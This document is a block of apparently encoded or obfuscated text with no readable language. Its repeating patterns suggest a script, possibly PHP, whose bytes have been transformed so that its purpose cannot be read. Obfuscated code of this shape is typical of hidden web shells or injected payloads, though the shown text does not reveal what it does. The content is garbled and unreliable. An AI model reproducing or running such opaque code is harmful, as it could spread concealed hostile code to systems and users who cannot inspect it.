MEMYUU\NUUUUUU UUUU NUU UUUEE*A]QEMEMYUUUQ C EFD\UUUUUUUZ_UUXU_ZQGEEUUHUUUWIJ)WNUUUUUUUU]*F]DDFF\]Q C EFD\USSUUUUUQ C EFDUUUUTHHUUUWWUUSSUUF]LBE\]Q C EFDYUUMAL]G@L\\UTHHUUUUSSUUUUUU@LE*B ]Q C EFD\\UUQGEEUUHUUQ C EFDNUU]5F]DDFM\]QEMEM\\UUUUUUUUQDFMFUHUUUU5CLG]DDG@\]QEMEM\NUUUUU]*F]DDFF\]QDFMF\UUSSU*MB @AB]QDFMF\UUUHHHUUUUQGEE\UUUU NUUUUUU]T FAF@D]QEMEMYUQGEE\\UUUUUUUUUQGAGA@UUUUUUHUUU5*F]DDG@\]QEMEM\NUUU]T]F]DDFL\]QGAGA@\UUSSUUU*MB @AB]QGAGA@\UHHHUQGEE\\UUUUU5F]DDFB\]QEMEMYUUUQGEE\N ]QGAGA@\NUUM M]QEMEM\NUUUUU UFC@**CEM]\UU]MAL]DDGB\]F]DDAE\\UUUUUSSUULB@G* ]\\UUUU U NU]TCLG]DDAD\]MAL]BMF\\UU		UUUUUUT*F]DDAD\]MAL]LEF\\\UUUUUU UU NQMDCUHU* ]RZR\NUUQMDCU[HUUU]MAL]LBE\]QMDCYUUURJR\UHHHUUUUUJUURJRUUUOUURSR\U[UUUUMAL]DDAG\UUUU[UUUCLG]DDAF\]\UU[UUUUMAL]DDAA\]]EFA^EFE\YU]EDCD^EGMC\\NUUUUUUUQGDAL @BCUUUUHU*F]LEF\]QMDCYU]CLG]DDA@\UHKUU]DLF+GED\YUUUUF]DDAC\UUHKUYUUF]DDAB\UHKUUUGYUUF]DDAM\UUUUUUHKU]CLG]DDAL\UUUHKUUF]DD@E\\\\NUUUU]F]DD@D\]F]FAG\\UUSSUUU**]QGDAL @BC\\UUUUUUUU]CLG]DD@G\]F]BMB\\\UUUU*F]BMB\]D\NUUUQGDAL @BCUUUUHUUUUUU*F]LEF\]QMDCYUU]*F]DD@F\UUHKUUUUUU]@^F\YUUUUUMAL]DDAC\UHKUUYUF]DDAB\UHKUGYUUU*F]DDAM\UUHKUUU]F]DDAL\UUUUHKUUUCLG]DD@E\\\\NUUU]F]DD@G\]F]DD@A\\UUUUSSU**]QGDAL @BC\\U UUUNUUUQDCUHUU]\UUU****]QGDAL @BC\NQLEFBB HADFNQF EH]QLEFBB KE\JQLEFBB OXQLEFBB NUU UUUQDCUUKHUUUU]@^L@\UUUUSSUUQDCUUIU]EDEG^EG\NUUUU UA  DDDG]QC*@LFMYUUUUUQM@LACB*\UUQB*CGCGUUHUUMAL]DEMM\]CLG]DDFC\]QM@LACB*\YUUURZR\NUUUUUUU]UUUUUU]*F]DD@@\UUUUUU[UUQB*CGCGUU[UCLG]DD@C\YUUF]DD@B\UU[UQB*CGCGUUUU[UU*F]DD@C\YUCLG]DD@M\U[UUQB*CGCGU[UUU*F]DD@L\YU\UUUUQ @@UUU\UUUUUUU]TMAL]DDFL\]QC*@LFM\\UUNUUUQC*@LFMUUUUHUU*F]LLE\]Q @@YUUUUUW)WYUUUQC*@LFM\NUUUUU UUUUQC*@LFMNQ DGHXBMENQ@GDFGDH]Q DGKE\JQ DGOXQ DGNUUUUUU UUUUM M]QM\UUUUUUU]CLG]DDCE\]*F]GEE\\\UUUUU UUU5*]QMYUU \UUUTHHUUUUNUUUUQ B@UUUHUUUUUUF]DDCE\]*F]DDCD\\UUJUUU5** ]\UUUUUOUUUNU UUUT]F]DEM@\]Q B@\UUSSUUT]Q B@.MAL]DDCG\(\\NUU UFLGEBGB L]QEMEMYUUUUQ* YUQ*BAMM\UUUUU]F]DDFD\]QEMEMYUX]MXA\\UUHHHUUUUUUCLG]LMM\\UUUUUUUU]T FAF@D]QEMEMYUQ* \\UUUAAMGG*  ]Q*BAMMYUUUUCLG]DDCF\U[UF]DDFC\]QEMEM\\N UNUUM M]QEMEM\NUUUU UUCLG]DDEM\]Q* \NUUUUQG*MGD@CUUHUUU5MAL]DEA\]QEMEMYUUUUUMAL]DDCA\\NUUUU]QG*MGD@CUUUUHHHUU\UUUUUUAAMGG*  ]Q*BAMMYU*F]DDCF\UUUUU[U*F]DDC@\]QEMEM\\NUUUU UUUNQ@MHDL_CNQAFDCL*HQ@MXFLNUUUUU]F]DDCE\]MAL]DDCC\\\UU5]QG*MGD@CYUUUUU9:6>*0-\NUQGDAL @BCUHUUU5CLG]DDCB\]QG*MGD@CYUUUQ* \NUUUUUUUU]*F]DDCE\]CLG]DDCC\\\UU5]QG*MGD@CYUUUU9:6>* ;\N5]QG*MGD@C\NUUU]QGDAL @BCUUHHHUUUU		UUUUU]Q* UUTHHUUUWWUUUSSUUQGDAL @BCUTHHUUUF]DDEM\]Q* \\\UUAAMGG*  ]Q*BAMMYUCLG]DDCF\U[UU*F]DDC@\]QEMEM\\NUU UNUUUUUUUUUUUU UQGDAL @BCNUUUUUUUUUUUU UUUCGBABL]\UUZZUUXUUUUUUUUUUU]TCLG]DDCE\]CLG]MBA\\U		UTCLG]DDCM\]CLG]DDCL\\\UUAFBADCCMB] \NU NUUUUU]*]*F]DDBE\\\U NUUUUU]*]MAL]DDBD\\\UUUUUU NUUUUUU*]MAL]DDBG\YUDYUU]@FD^CL\\NUAFBADCCMB] \NUUUU]MAL]DDCM\]CLG]MLE\\\UU*]F]DDBG\\NQ*LUUUHUF]DDCM\]*F]DDBF\\UUUJU]\UUUU GLAF F**]*F]DEBA\YUWW\UUOUUUWWNU]Q*LUUUTHHUWWUUUSSUUUF]DDBA\]F]DDB@\\UUSSUUU *]Q*L\\UU*]CLG]DDBE\YUUUDYU]FMLDMXDBFDM\\NUUUUUUUU]!UUQD@D*G\UZZU5UX UUAAMGG*  ]*F]DDBC\YUQD@D*G\NUUUUU]0UUUUUQD@D*G\UUQGMDEEDHFF^LFNQLB*HQGMDEEDXABNUUUUUUUUU UUUUUUAFBADCCMB]QBM*D@\UUUUUUUUU]TLBG@@LMCLAD]F]MED\\\UU NUUUUUUUUUUUUUUU]TU*F]DDBA\]F]DDBB\\UU		UUUUTUUUUU*F]DDBM\]MAL]DDBL\\\U NUUUUUUQ@CALUUUHUU]\UUUU GLAF F**]*F]DEBA\YUUWW\NUU]Q@CALUUUUTHHUUWWUUUUSSUUUU *]Q@CAL\UUUUSSUUUUU]\UU GLAF F**]MAL]DEB@\YUWW\UUUUUTHHUUWW\U NUUUUUUU]Q@CALUUHHHUUWW\UZ_UUU_ZUUQGFLL BMUUUHUUF]DDME\]QBM*D@\UUUJUUQBM*D@UOUUUU*FL B@A]\NUUQ@F A*UHUUUUG@* C*]QGFLL BM\NUUUUUU]UUQ@F A*UUUSSUUT]Q@F A*XK *\UUSSUUU]Q@F A*XK *\SSUUUUQ@F A*XK *UUHHHUUQ@F A*XK *UU[UUUUUUR5RUUUUU[UUUE]CLG]DDMD\\U\UUUUUUUUUQ@CALUUUUHU]\UQ@F A*XK *NUUUUUUUUU]Q@CALUTHHUUUWWUUSSUUUU *]Q@CAL\\UUUUQLBA@D*CUHU *]Q@CAL\NUUUUUUQDMCUUHUADCEBGED]]DC@+DML\\NUUUUUU]MAL]DDMG\]CLG]DDMF\\\UUUUU*F]DDMF\]QDMCYUQLBA@D*C\NUUU*GCGG]F]DEBA\YUQ@CALYUUF]DEMG\\NQ BL AHFL_@NQBB M HQ BL AXFLNUUUU*GCGG]MAL]DEB@\YUUUQDMCYUF]DDMA\\NUUU NUUUUUQ AUUUHUULGCD]\NUUUUUUU] \UUUQ@CALUUUHUUUUWWNUUU]Q CE*MUHUENUUQ CE*MUUIU]LXA\NUUUQ CE*M^^\UQCEUHUUQ A.MAL]DDM@\]Q A\(U[UADCEBGED]]DFA+DAE\\NUUUU]T *]QCE\\UUUUUUQ@CALUUHUUUQCENUUUNZZU"%U%U7UUUUUUUUUUUUUUUUUUU]Q@CALUHHHUUUWW\UUZ_UXUU_ZUUUUAAMGG*  ]MAL]DDMC\YUUU*F]DDMB\\NUU NUUUQDMCUUHUUUADCEBGED]]ABXGF\\NUUUUUU]TUUUUCLG]DDMM\]MAL]DDML\\UUSSUUU]F]LCC\\UUUUSSUUCLG]DDLE\]47&%4!=U[UCLG]DDLD\\\UUUUUZZU'UUUUQAEHA^GANQMMLAHQAEXFLNU *UUUU47&%4!=UUUUUU[UUUUF]DDLD\NUUUUUUUUUUUUUUQMECDUUUUHUQ@CALUU[UUUR5RUU[UE]CLG]DDMD\\NQ EAF*LEUUHUUNUU]MAL]DDMM\]MAL]DDML\\\UUUQ EAF*LEUUUHUUUUF]DDML\]]UUUF]DDLG\UUUHKUUUQ@CALYF]DDLF\UUUHKUUUQDMCYUUUU*F]DDLA\UHKUQMECDYUUUU*F]DDL@\UUUUHKU*F]DDLC\YUUCLG]DDLB\UHKUUQ@CALYUUUUUUU\\NUU]**]Q EAF*LE\\UUUUUUUUUAAMGG*  ]*F]DDMC\YUQ EAF*LEXK**]\UUU[UUURORU[UUQ EAF*LEXK**]\\NUQ EAF*LEUUUUUHUUNUUUUUUUUU]TQ EAF*LE\UUUUUUUUQUHU]Q29:749&.*F]DEFC\(\UUJUQ29:749&.F]DEFC\(UUOUU NUU]TQUUUU		UTMAL]DEBC\]Q\\UUUUUUAAMGG*  ]CLG]DDMC\YUUF]DDLM\\N NUUUUQC@@UUUUUHUUUCLG]DDMM\]CLG]DDLL\\UUJUUUU**]QDMC\UOUUUU*F]DDGC\]QDMC\NUUUQDMB UHUUUU*F]DDMM\]F]DGEE\\UUUJU *]MAL]DGED\\UUUOUU]MAL]DGEG\\NQEAM@GLC*UUHUUUUUUQXK]QXK YU]UUF]DGEF\UHKUUUQ@CALYUUUMAL]DDLF\UHKUUUQC@@YUF]DGEA\UUUUHKUUUUQ@CALYUUF]DDLA\UUHKUUUUQMECDY*F]DGE@\UUUHKUUQDMB YUUUUMAL]DGEC\UUHKUUUUEYUUUUUUMAL]DDLB\UUHKUQ@CALYUU\YUUU]CLG]DGEB\YUU*F]DGEB\YUUCLG]DGEB\YUUMAL]DGEB\YUUCLG]DGEB\YU*F]DGEM\YUUUUUU*F]DGEB\\\NUUU]TQEAM@GLC*\UUUUUUUUUUAAMGG*  ]*F]DDMC\YUCLG]DGEL\\NU NUUUUQ EAF*LEUUHUU]\UQXK*NUQFUUUHUUUUUUQXKU[UUUUF]DEFB\NQXK]QXK YUU]UUUUUUUCLG]DGDE\UUUHKUUQ EAF*LEYUUUF]DGDD\UUUUHKUUUUQFYUUMAL]DGDG\UHKUUUMAL]FLC\]]F]DDLC\UUHKU \\YU\YU]F]DGEM\YUUUUUU*F]DGEB\YUUUUUF]DGEB\\\NUQXK]QXK YUUUU]UUUUCLG]DGDE\UHKUQ EAF*LEYU*F]DGDF\UUUUHKUUUUUUQXKUUUU[UUF]DGDA\YUUUUUU*F]DGDG\UUHKURDERYUU\YUUU]*F]DGEM\YUUUCLG]DGD@\YUUUMAL]DGDC\\\NUUUUU]MAL]DDMM\]*F]DGDB\\\UU* *]Q EAF*LE\NUUUUUUUUUUU]T *]Q@CAL\\UUUUUUAAMGG*  ]*F]DGDM\YUCLG]DGDL\\NU NUQ**C@FUUHUUUUUF]DGGE\]CLG]DGGD\\UUJUUU* *]MAL]DGGG\YUUUQ@CAL\UUOUUUUUNUQMAACGBUUUUUUHUUNUUUU]Q**C@FUUSSUUUT]Q**C@FXK<1\\UUUUU]CLG]DGGE\]CLG]DGGF\\\UUUQMAACGBUUHUU]\UU *]Q**C@FYUUMAL]DDLC\\NUUU]]Q**C@FXK\UUUSSU*F]DDME\]Q**C@FXK\\UQMAACGBUHUUUUUT]Q**C@FXK.CLG]DDLC\(\NUUUUZZU"%U7U4%<UFOUU  UUU]TQMAACGB\UUAAMGG*  ]F]DGDM\YUUUUU*F]DGGA\\NUUUU]Q EAF*LE\UUUUUUUUUUUUU]T*F]DGGE\]CLG]DGG@\\UUUUSSU]F]DGGC\\UUSSU5F]DDLE\]47&%4!=U[UUUU*F]DGGB\\\UUUUU *UU47&%4!=UU[UUUF]DGGB\NUUUUUUUUUUU]CLG]DGGE\]MAL]DGG@\\\UUUUU5** ]Q EAF*LE\NUUU NUUUUUUUU*GCGG]CLG]DEBA\YUUUQ@CALYUUF]DGGM\\NU*GCGG]*F]DEB@\YUUUQDMCYUUUMAL]DGGM\\NUUUUUUUUUU]!UQD@D*G\UUZZUU UX  AAMGG*  ]CLG]DGDM\YUQD@D*G\NUUUUUUUU]0UUUUQD@D*G\UUUUUUUUUUUUU@FLGL]CLG]MED\\NUUU UUUUU*EEACF]QC*BA\UUUUUUUUUUUU]TUUCLG]DEBC\]QC*BA\U		UUUTUU*]QC*BAYUU*F]DGGL\\\UUUUUUU UQC*BANUUUUQ@CALUUHUU*F]DGGE\]*F]DDBB\\UUUUJUUU]\UUU GLAF F**]F]DEBA\YUUUWW\UUUOUWWNUUUU]TUUQ@CAL\UU UUUUUUQC*BANUUUUQ@D LEUUUHUUUU*]Q@CAL\NUUUUUU]MAL]DGFE\]QC*BAXK *YUUQ@D LE\UHHHU\UUQC*BAXK *UU[HUUU*F]DGFD\U[UUQ@D LEU[UUWRWNUUUUUUUUUUUUU]!UUUUQD@D*G\UUUUAAMGG*  ]F]DGFG\YUUQD@D*G\NUUUUUUUU]0UUUUQD@D*G\UUUUUUUU UUQC*BANUUUUUUUU UUUUFLCD]Q *\UUUZ_UU XU_ZUUUUUUUUQ*LUHUUF]DGGE\]F]DGFF\\UUJU]\UU GLAF F**]*F]DGFA\YUWW\UUUUUUOUWWNUUUUUU]TUUQ*L\UUUZZUU UUQ *NUUUUUUUUQLLUUUUHUUU]F]DGF@\YUMAL]DDLC\\NUUUUUUUUU]QLLUUUUQ\UUUUUUUUU]]Q *.Q(\USSUUUMAL]DDFL\]Q *.Q(\UUSSUUUU*F]MEC\]F]DGFC\YUUUQ *.Q(YUUUQBD@LCLB\\UUQEGED UHUU*F]@F@\]EYUUU]\UUUUQBD@LCLB.D(UUXUUD\NUUUUUUQ *.Q(UHUUUUUUMAL]DGFB\]F]DGFM\YUR]RUU[UUQEGED U[UUUR\RYUQ *.Q(\NUUUUUUUUU]!UQD@D*G\UUUAAMGG*  ]*F]DGFL\YUQD@D*G\NUUUUUUU]0UQD@D*G\UUUUU UUUUQ *NUUUUU UUUUUF*GMGMA]QC EA YUQCEBC\UUQCLA@LH@FCDNQGEALHQCLA@LPDANUUUUQ@CALUHUUUF]DGGE\]F]DGFF\\UJUUU]\U GLAF F**]*F]DGAE\YUWW\UUUUOUUUWWNUUUUUU]Q@CALUUUUHHHUUWW\UUUUUUU UUUUUQC EA NUUUUUUUU]TUUMAL]DDME\]QC EA \\UUUUU UQC EA NUUUUUUUUUUUUUUUU]TUU]QC EA .CLG]DGAD\(\UUU		UUUTUUMAL]DDME\]QC EA .MAL]DGAD\(\\UUUQC EA .*F]DGAG\(UUUUHUU]\NQ*GL FDGHGBLNQLBH]Q*GL FDGKE\JQ*GL FDGOXQ*GL FDGNUUUUU]TUUUMAL]BLC\]Q@CALYUUUUUQC EA .MAL]DGAG\(YU \\UUUUUUUUUQC EA .*F]DGAG\(.(UUHUUQ@CALNUUUUUU]!UUQD@D*G\UAAMGG*  ]F]DGAF\YUUUUQD@D*G\NUUUUUUUU]0UUQD@D*G\UUUUUUUUU UUQC EA NQ*H@^GNQGB HQ*XABNUUUUUU U@AMBAEE]\UUUUUUUUUUQ*ECEUUUHUUU]\NUUUUUUUUU]]F]MGM\\USSU*F]DGGE\]*F]DGFF\\\UUUZZU8&$9UMU6!0OU UXUUUUQDFFUUHUUUU]\UUUUU*]CLG]BBM\YUUUUUU]\\NUUUUUQDUHUUU]\NUUU]QDFFUUUUQ\UUUUUU]TUUCLG]DGAA\]Q\UUU		UU*F]DGFE\]QYUUU*F]GAC\\UUTHHUU\UUUUU NZZUUUUUUUQ*CUUHUUU*F]DGA@\]Q\NUUUU]Q*CUUHHHUUUUR[R\UUUUUQ*CUHUUUUQNUUUUUUUUUUUUUUUUU]]QD.Q*C(\\U NQHFC_ANQDBGLEB LHQXAMNUUUUQD.Q*C(UHUUUUU NQEMEMUUUHUU"%*%9 2<;*1<'UUU[URZRUUU[UQNU]MAL]DGAC\]Q\UUUUUHHHUR[R\UUUUU]5MAL]DDFM\]QEMEM\\UUUQ*ECE.(UUHUQEMEMNZZUUUUUUUUUUQBD EUUUHUUUCLG]DGAC\]QEMEM\NUUUUUU]5*F]MBB\]QBD E\\UUUUUQ*ECEUUUUUHUUUUUMAL]DGAB\]Q*ECEYU*DGGBC]QBD EYUUUU]*F]MAM\\\\NUUUUUUUZZUUXUU"%U3U9UUUUUUUUU]5*F]MBB\] *LMAEE]\\\UUZZU5  UUUUUUUQF GCUUHUUUU GD FB@B ] *LMAEE]\\NUUUUUU]CLG]DGAM\]QF GC\\UUUUU]QF GCUUUUUUUUUQCE@\UUUUUUUUUU]QCE@UUUUHHHUUUM@F M@ L]\\UUU NUUUUUUUUUUUQMUUHUUU *LMAEE]\U[UUUUUURZRUUU[UUUQCE@NUUUUU]5*F]DGAL\]QM\UUUUSSUUMAL]BB\]F]MGG\]QCE@YUUU]F]DG@E\\\\UUUUHHHUMAL]DG@D\\UUUUUQ*ECE.(UUUHUQMNUUUUUUUUUUUUUUUUU]]*F]DGGC\\UUSSUUUMAL]DGGE\]MAL]DG@G\\\UQEAUUHU]\U*]MAL]DG@F\YUUUUUUWW\NUUQUHUU]\U*]MAL]DG@A\YUWW\NUQEAUHUU]*F]DG@@\\UUUJU"%*6:;!0;!*1<'U[UUF]DG@C\UUUUOU47&%4!=U[UUMAL]DG@B\NUUUUQ B@FEB*UHUUUUUCLG]DG@M\]F]FBL\]]QEAYUUQ\\\NUUUUUUUUU]Q B@FEB*UUUUUUQG\UUU]CLG]DG@L\]QGYU*F]DGCE\\UUTHHUU\UUUUU NQFE@UUUUUHUUUQEAUUUU[UURZRUU[UQGNUUUUUU]5*F]MBB\]QFE@\\UUUUUUUQ*@A*FCGUHUU GD FB@B ]QFE@\NUUUUUU]*F]DGAM\]Q*@A*FCG\\UUUU]Q*@A*FCGUUUUQCE@\UUUUUUUQ EFLUUUUUHUUQFE@U[UURZRUUUUUU[UUQCE@NUUUU]5MAL]DGAL\]Q EFL\USSUCLG]BB\]*F]MGG\]QCE@YUU]CLG]DG@E\\\\UUUHHHUUU*F]DG@D\\UUUUUUQ*ECE.(UHUQ EFLNUUUUUUZZU"%U%U0UUUUUUQ BAFGUUUUUHUUQFE@UU[UUF]DGCD\NUU]5CLG]DGCG\]Q BAFG\\UUUUUQ*ECEUUHUUCLG]DGAB\]Q*ECEYUUUUU*DGGBC]Q BAFGYU]F]DG@D\\\\NUUUUUUUUUUUUUUUUUU UUUUUMAL]DG@M\]Q*ECE\NUU UUEBCEGAE]QME\UUUUU]T*F]DGCF\]QME\\UUUUU UU]\NQF*UUUUHUU]\NUUUUUU]QMEUUUUUQGDAL @BC\UUUU]TF]DGAA\]QGDAL @BC\UU		UUQGDAL @BCUHHHUUUUWWUUUUU		UF]DGCA\]QGDAL @BC\UKUUU]AEDL^BB\\UU NUUUZZUXUU U]5*F]MEC\]QGDAL @BCYUUWW\UUHHHUUUUU\UU NUUUUU]!UUUQD@D*G\UUUUU NUUUU]0UUQD@D*G\UUUUUU NUUQF*.(UUUUHUUQGDAL @BCNUUUUUZZU"%U=U9OUUXUUU UQF*NU UMF@*]QME\UUUUUUUUUU]]QME\\UUUUUU UUNQ@ *HDBG@NQEAGHQ@ *PGNUUUUQ*ECEUUUHUU@AMBAEE]\NUUUUUUU]]Q*ECE\\UUUUUZZUUXUU"%U%U!UU UUUUUNUUUUUUQA UUUHUNUUUUUU]Q*ECEUUQM\UUUUUUUU]TU5CLG]DGAL\]QM\UUU		UTUUUUU5F]MBM\]QM\\U NUUUUUUUUUU]5CLG]GGF\]QM\UUUUKUUU]@GAGGA^CA\\U NUUUUQE@*UUHUU5MAL]DDG@\]QM\NUUUU]TUQE@*UU		UUTUCLG]DGC@\]QE@*\\U NUUUUUUUUUUUUQCCGLMFUHUNUU]QMEUUUQ*C*@*C\UUUUUUUQDA DUUHUUUU5CLG]DGFB\]Q*C*@*CYUWWYUUUQE@*\NUUUUUU]QDA DUUUTHHUU UUUUSSUUUUUQDA DUUUTHHUQE@*\UUUUQE@*UUHUUUUQDA DNQMLMAAHXLMCNQAH]QMLMAAKE\JQMLMAAOXQMLMAANUUQCCGLMFUHU NUUUZZU"%UC[CUUOU UUUUUUUUUUUU]!UUUQD@D*G\UUUUAAMGG*  ]*F]DGCC\YUUUUUQD@D*G\N NUUUUUUUUU]0UUQD@D*G\UUZZU"%U;U7UUUU NUUUUUUUUUUU]QCCGLMF\UUUUUU] FAF@D]QMYUQE@*\\UUUUUQA UUUHUU NUUUUUUUUUU UUQA NUUUUUUUUUUU]!UQD@D*G\UZ_UUU_ZAAMGG*  ]MAL]DGCB\YUQD@D*G\NUU]0UUUUUQD@D*G\UUUUUZ_U UXU_ZUU UNUUUUUUUUUU UUUUUUGL ]QBD EYUUUQE@\UUUUUUUUUUUUUUQAG@AUUHUU]\NUUUQE@UUHUUQE@UUUXUUDNUUUUUUUUUUUUQ@ GUUHU5MAL]G@E\]QBD E\NQ ECHGA_@NQLFHQ ECXGANUUU]TUU*F]DGCF\]Q@ G\\U UUQAG@ANUUUUUUUUUQ@ GUUUHUUUF]DFA\]Q@ GYUUEYUU]EL^ED@M\\NUUUUUUU]Q@ GUUUQCE@\UUUUUUUU]QCE@UHHHUUUR[RUU		UUUUUQCE@UUUUHHHUCLG]DGCE\\UUUUUUU NUUUUUUUQAD@UHUUQBD EU[UURZRUUUUUU[UUQCE@NUUUUUUUU]TUUUU5MAL]DGCG\]QAD@\\UUUUUU NUUUUUUUU]5CLG]DGCG\]QAD@UUUUU[UCLG]DE@@\\\UUUUUUUUQAG@A.(UHU*F]CCM\]QAD@YUUUUMAL]DGCM\\N NUUUUUUUUUUUUUUU]QE@UUUKUUUE\UUUUUUUUUQAG@AUUUHUUUMAL]DGAB\]QAG@AYUUUGL ]QAD@YUUUUUUQE@\\NUUUUUUUUUUUUUUUUU UQAG@ANUUUU UUUUMA@@LM]\UUUUQEC@CUUUHUU]\NQMD@UUUUHUUF]CCM\]47&%4!=YUF]DGCM\\NUUUUUUUUQ  C@UUHUUUU]\NUU]QMD@\UQ  C@.(UHUUUUUUCLG]DGAC\]QMD@\NUUUUUQ  C@.(UHUF]DGAC\]*F]DGAC\]QMD@\\NUUUUUUQ  C@.(UUHUF]DGCL\]CLG]DGCL\]F]DGCL\]QMD@\\\NUUQ  C@.(UUUHUCLG]DGBE\NUQ  C@.(UUHUUUF]DGBD\NUQ  C@.(UUHUCLG]DGBG\NQ  C@.(UHUUUMAL]DGBF\NUUUUQ  C@.(UHUUUMAL]DGBA\NUUUUUUUQ  C@.(UUUHUUUUUMAL]DGB@\NQ  C@.(UHUCLG]DGBC\NUUUUUUUUQL CDA*UUUHUUF]DGGE\]*F]DGBB\\UUUJUU]\UUU5*F]DGBM\]F]DGBL\\UOUWWNUUUUUU]QL CDA*UUUUTHHUWW\UUUUUUQGDLF@EUUHUU]*F]DGME\]QL CDA*YUUURNR\UUUTHHU\UUUJUUUURNRUOUUUUUURORNUUU]*F]GGE\]QGDLF@EYUUQL CDA*\UUUQFFGBD\UUUUQFFGBDUHUUUUUUCLG]DGMD\]QFFGBD\NU]QFFGBDUUUUTHHUUUWW\UUUUUQ  C@.(UUHUUUUQFFGBDNUUUUUUUUUUUUUUUUUUUQ  C@UHUCLG]DGMG\]MAL]FBL\]Q  C@\\NUUUUUUQ@@LUUUUUUHUUF]DGMF\] \NUUUUUQEC@CUUUHU]\NQ*LECMHAE	BDNQELDHQ*LECM+GGMNUUUUUUUUU]Q  C@UUUUUUQBD E\UUUUUUUUUUU]TUU5CLG]DGCG\]QBD E\UU		UTU5MAL]MDD\]QBD E\\UUUUU NUU]]CLG]DGMF\] \UXUQ@@L\UUUUKU]ED^EL\\UUUUNUUUUUUUUQEC@CUHUUCLG]DGAB\]QEC@CYUUUUGL ]QBD EYUG\\NQBEELH]ED^EBC\NQLDLHQBEELPDANUUUUUUUUUUU]!UUUQD@D*G\UUAAMGG*  ]CLG]LBC\YUUQD@D*G\NUUUUUUU]0UUQD@D*G\UUUQBMH%=%*84?:'*#0'&<:;NQ**L*HQBM_FNUUUUUUU UCLG]DLC\]F]DGMG\]QEC@C\YUUUU]QMD@\\NUUUUUU UUUMFEL]QL@A\UUUUUUUUUUQ BUHUU]QL@AUU[UUUUCLG]DGMA\YUQL@AUUU[UUMAL]DGM@\\NUUUUU]Q BUUUUQBD E\UUUUU]TUUUU5*F]DGCG\]QBD E\\UUUUU NUUUUQ@GL@E@UUUHUU GD FB@B ]QBD E\NUUUUUUUU]T*F]DGCF\]Q@GL@E@\\UUUUQAG *FH]EG^EA\NQFHQAG *FPLNU NUUUUUUUUU]Q@GL@E@UUUUUUQD@D*G\UUUUUUUUU]MAL]DDFD\]QD@D*GYUUUUX]G^G\\UHHHUUUUUCLG]LMM\UUUUSSUUUUL*F]QBD EUUUUU[UUUURZRU[UUQD@D*GYU]ALM@^D@\\\UUUUU U NUUUUU]Q@GL@E@UUUUUQD@D*G\UUUUQ*A@LDUUUUUHUUUQBD EUUU[URZRU[UUQD@D*GNUUUU]TU5*F]DGMC\]Q*A@LD\\UUUUU NUUUUUQFAALMBUUUUUHU GD FB@B ]Q*A@LD\NUUUUUUU]TCLG]DGCF\]QFAALMB\\UUUUU NUUUUUUUUUUU]QFAALMBUUUQGDB\UUUU]MAL]DDFD\]QGDBYUX]ED^EF\\UUHHHUMAL]LMM\UUSSUUL*F]Q*A@LDUU[UUURZRU[UUUUQGDBYUU]EDEG^EF@\\\UUU U NUUUUUUUUUU]!UUUUQD@D*G\UZZU5UUUAAMGG*  ]CLG]DGMB\YUUUUQD@D*G\NUUU]0UUUUUUQD@D*G\UUUUUUUUUUUUUU UUNUUUUU U@FFL]\UUUUUUU]DFMCGD@]DCLLEEFE]\\\U NUUUUU]*]CLG]DGMM\\\UUUU NUUUUUUUUQEADUUUUUHUGDG]\NUUUUUUU]TUUQEADU		UCLG]DGCA\]QEAD\UUIUU]LBA^GC\\UUUUU NUUUUUUUU]TU@LE*B ]QEAD\\UUUUAAMGG*  ]MAL]DGML\YUCLG]MBF\\NUUU NZZU"%U%U!OUUXQEC@CUHUUMA@@LM]\NUUUUUU]]QEC@C\\UUUUUUU]T*]*F]DGLE\\\UUUAAMGG*  ]CLG]DGML\YUUUUCLG]DGLD\\NUU*]F]DGLE\YUUUUDYUUUU]EE^EFBE\\NUUUUUUUUUUUUUUU*]*F]DGMM\YUUUUDYUU]D@BL@C^DEDGAA\\NUUUU NUUUUUUQE AFGDUUUHUUUENUUUU]QEC@CUUUUUUUQL@A\UUUUUUUU]MFEL]QL@A\\UU NUUUUUUUQFAGAUUUUUHUUWWNUUQDLUUHUUUUQL@AUU[U*F]DGMA\NUUU]5CLG]MBC\]QDL\USSUUT5CLG]DGMC\]QDL\\UUUUUQDLUUUUHUUU NUUUUUUU]T5MAL]DGMC\]QDL\\UUUUUU*DAA]QDLYU]AFE^CF\YUU \NUUUUU]QDLUUSSU]T5CLG]DGMC\]QDL\UUUU		UUUUT5MAL]MBM\]QDL\\\UUUUUUUUUUQDLUHUU NUUUUUUUUUU]QDL\UQAL@MUUHUUQDLU[UUUUURZRU[UUUM@F M@ L]\NQB@AUUUHUFD @]QEAD\NUUQME *@UUHUUUFLGEBGB L]QAL@MYUUQB@AYUU*F]DGML\\NUUUU]QME *@UUUUSSUUUQME *@UUKHUUUMAL]DGCA\]QB@A\\UUUQFAGAUUUHUUQAL@MNUUUUUUUUUUUUUUUUUUUUUU]TUUQFAGA\UUUUUUUUQ@L@UHUUF]MGG\]M@F M@ L]\YU%4!=<;3:*3<90;480\NUUUQ** UUUUHUQL@AUUUU[UCLG]DGLG\U[UQ@L@NUUUU]TUUUU5CLG]DGMC\]Q** \\UUU*DAA]Q** YU]AGC^CB\YUUUUU \NUUUUUUUUUQAL@MUUUHUUQ** U[UURZRUU[UUM@F M@ L]\NUUUUQB@AUUUUHUUUFD @]QEAD\NUUUUUUQME *@UUHUUFLGEBGB L]QAL@MYUUUQB@AYUUUUF]DGML\\NUUUUUUUUUUUUU]QME *@UUUUSSUQME *@UUKHUUU*F]DGCA\]QB@A\\UUUUQFAGAUUHUUUUUQAL@MNQUUUHUUUUUQ@L@UU[UURZRUUU[UUUUM@F M@ L]\NUULEBMLMAEG]QL@AYUUUUUQ\NUUUUUUUUU]TUQFAGA\UUUUU NULAAADF]QFAGA\NUUF* ]QFAGAYUUU]EBD^EF\\NUUQE AFGD^^NUUUUUUUU]QE AFGDUKUE\UUUU*]MAL]DGLF\YUUUDYU]EGLF^EAD\\NUUUUUUUUUUUUUUUUU*]CLG]DGLF\YUUDYUUUUU]@@M^FEAG\\NUUUUUUUUUUUUUU]!UUUUQD@D*G\UUUUUUAAMGG*  ]*F]DGML\YUUUQD@D*G\NUUUUU]0UUUUQD@D*G\UUUUUUU ULEBMLMAEG]QL@AYUUQ\UUUUUUUUUUQL@@UUUUHUUUQL@AUUUU[UUUF]DGLA\NUUUUU]TUU5CLG]DGAL\]QL@@\\UUUUUQL@@UUHUUUUCLG]DGCL\]QL@A\UUUU[UMAL]DGL@\NUUUUUU]TUUU5CLG]DGAL\]QL@@\\UUUUUUU NUUUUUUUUUQGEEUUUHUU5*F]DDG@\]QL@@\NUU]TUQGEE\UUUUUUU NUUUQG*UUUUUUHUUWWNQUHUWWNUUUUUUUUU]CLG]MEC\]F]DGLC\YUUUQGEEYUUUQBD@LCLB\\UQMHDG@	AMNQ**D *HQ